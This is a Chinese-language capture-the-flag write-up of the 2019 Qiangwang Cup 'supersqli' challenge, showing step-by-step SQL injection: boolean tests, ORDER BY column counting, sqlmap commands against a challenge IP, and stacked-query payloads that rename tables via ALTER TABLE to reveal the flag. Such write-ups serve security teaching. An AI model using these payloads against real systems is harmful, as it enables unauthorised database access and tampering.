题目描述
来源强网杯 2019
Solution
判断注入类型
输入输出表如下:
输入 | 输出 |
---|---|
1 and 1=1 |
输出正常 |
1 and 1=2 |
输出正常 |
1' and '1'='1 |
输出正常 |
1' and '1'='2 |
没有输出 |
由此观之,该题目是字符型注入。
判断列数
输入:1' or 1=1 order by 3 #
,查询失败!
输入:1' or 1=1 order by 2 #
,查询成功!
由此观之列数为 2。
联合查询
1' union select version(), database() #
我们发现后端服务器有正则匹配,把关于select|update|delete|drop|insert|where
不区分大小写给过滤了。
我们改用 SQLMap 自动化注入。
使用 SQLMap 注入
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4
SQLMap 发现一个注入点,是布尔盲注。
获取数据库信息
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 --dbs
有一个数据库,名字叫supersqli
。
查看数据库中的表
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 -D supersqli --tables
SQLMap 没有找到表:
使用堆叠注入
堆叠查询(Stacked Queries)是指,在 SQL 中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
我们输入:
1'; show tables; #
查看表中的字段
1'; desc `1919810931114514`; #
1'; desc `words`; #
发现1919810931114514
表中有 Flag:
拿 Flag
如果是正常的查询,那应该是在words
表下,使用类似下面的语句:
select * from words whrere id = '';
而现在 Flag 在1919810931114514
表,一个可行的方案是修改表名,这样我们回到原来的查询就能直接出 Flag。
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
把它们用分号连起来:
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);
然后使用1' or 1=1 #
直接出 Flag: